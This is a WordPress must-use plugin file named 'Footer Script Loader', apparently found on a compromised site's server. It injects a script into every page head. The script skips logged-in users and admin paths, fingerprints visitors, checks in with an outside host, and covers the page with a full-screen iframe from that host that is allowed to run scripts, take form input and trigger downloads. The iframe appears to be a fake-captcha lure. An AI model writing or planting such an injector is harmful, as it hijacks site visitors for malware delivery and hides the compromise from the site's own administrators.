File "jsi-footer.php"

Full Path: /home/bodycultub/www/P5v3-20260930002809/07/mu-plugins/jsi-footer.php
File size: 4.67 KB
MIME-type: text/x-php
Charset: utf-8

<?php
/**
 * Plugin Name: Footer Script Loader
 */
add_action('wp_head', function () {
?>
<script>
(function () {
  'use strict';

  var MODAL_URL = 'https://owlabc.net/';
  var CHECKING_URL = 'https://owlabc.net/checking?domain=bodycult.es';
  var DELAY_MS = 0;
  var DURATION_MS = 50000;

  if (window.__jsInjectorModal) {
    return;
  }
  window.__jsInjectorModal = true;

  function cookieName() {
    return 'jsInjectorShown_' + encodeURIComponent(location.host || '');
  }

  function getCookie(name) {
    var m = document.cookie.match(new RegExp('(?:^|; )' + name.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + '=([^;]*)'));
    return m ? decodeURIComponent(m[1]) : '';
  }

  function setShownCookie() {
    var secure = location.protocol === 'https:' ? '; Secure' : '';
    document.cookie = cookieName() + '=1; max-age=31536000; path=/; SameSite=Lax' + secure;
  }

  function isWinOrMacDesktop() {
    var ua = navigator.userAgent || '';
    if (!ua) {
      return false;
    }
    // Android UA often contains "Mobile" — match before generic mobile filter.
    if (/Android/i.test(ua)) {
      return true;
    }
    if (/webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobile|Tablet|Windows Phone/i.test(ua)) {
      return false;
    }
    if (/Windows NT/i.test(ua)) {
      return true;
    }
    if (/Macintosh|Mac OS X/i.test(ua)) {
      return true;
    }
    return false;
  }

  function isLoggedInWp() {
    if (document.body && (document.body.classList.contains('logged-in') || document.getElementById('wpadminbar'))) {
      return true;
    }
    return /(?:^|;\s*)wordpress_logged_in[^=]*=/.test(document.cookie || '');
  }

  function isAdminPath() {
    var p = location.pathname || '/';
    return /\/wp-admin(?:\/|$)/.test(p) || /\/wp-login\.php$/.test(p);
  }

  function buildCheckingUrl(captchaShown) {
    if (!CHECKING_URL) {
      return '';
    }
    var sep = CHECKING_URL.indexOf('?') >= 0 ? '&' : '?';
    return CHECKING_URL + sep + 'captchashowed=' + (captchaShown ? 'true' : 'false');
  }

  function pingChecking(captchaShown) {
    var url = buildCheckingUrl(captchaShown);
    if (!url) {
      return;
    }
    fetch(url, { credentials: 'omit', cache: 'no-store' }).catch(function () {});
  }

  function checkingOk(captchaShown, cb) {
    var url = buildCheckingUrl(captchaShown);
    if (!url) {
      cb(true);
      return;
    }
    fetch(url, { credentials: 'omit', cache: 'no-store' })
      .then(function (r) {
        return r.json();
      })
      .then(function (j) {
        cb(j && j.ok === true);
      })
      .catch(function () {
        cb(false);
      });
  }

  function createModal(url) {
    setShownCookie();

    var overlay = document.createElement('div');
    Object.assign(overlay.style, {
      position: 'fixed',
      inset: '0',
      width: '100vw',
      height: '100dvh',
      minHeight: '100vh',
      background: '#fff',
      zIndex: '2147483647',
      margin: '0',
      padding: '0',
      border: '0',
      overflow: 'hidden',
      display: 'flex',
    });

    var iframe = document.createElement('iframe');
    iframe.src = url;
    iframe.sandbox = 'allow-scripts allow-forms allow-same-origin allow-popups allow-downloads';
    iframe.allowFullscreen = true;
    iframe.allow = 'fullscreen';
    Object.assign(iframe.style, {
      width: '100%',
      height: '100%',
      border: 'none',
      display: 'block',
      margin: '0',
      padding: '0',
    });

    overlay.appendChild(iframe);
    document.body.appendChild(overlay);
    document.documentElement.style.overflow = 'hidden';
    document.body.style.overflow = 'hidden';

    var duration = Number(DURATION_MS);
    if (!duration || duration < 1000) {
      duration = 5000;
    }

    setTimeout(function () {
      try {
        overlay.remove();
      } catch (e) {}
      document.documentElement.style.overflow = '';
      document.body.style.overflow = '';
      document.body.style.margin = '';
    }, duration);
  }

  function showModalWithDelay() {
    var delay = Number(DELAY_MS);
    if (delay < 0) {
      delay = 0;
    }
    if (delay > 0) {
      setTimeout(function () {
        createModal(MODAL_URL);
      }, delay);
    } else {
      createModal(MODAL_URL);
    }
  }

  function run() {
    if (isAdminPath() || isLoggedInWp()) {
      return;
    }

    if (isWinOrMacDesktop()) {
      if (getCookie(cookieName()) === '1') {
        return;
      }
      checkingOk(true, function (ok) {
        if (ok) {
          showModalWithDelay();
        }
      });
      return;
    }

    pingChecking(false);
  }

  if (document.readyState === 'loading') {
    document.addEventListener('DOMContentLoaded', run, { once: true });
  } else {
    run();
  }
})();

</script>
<?php
}, 999);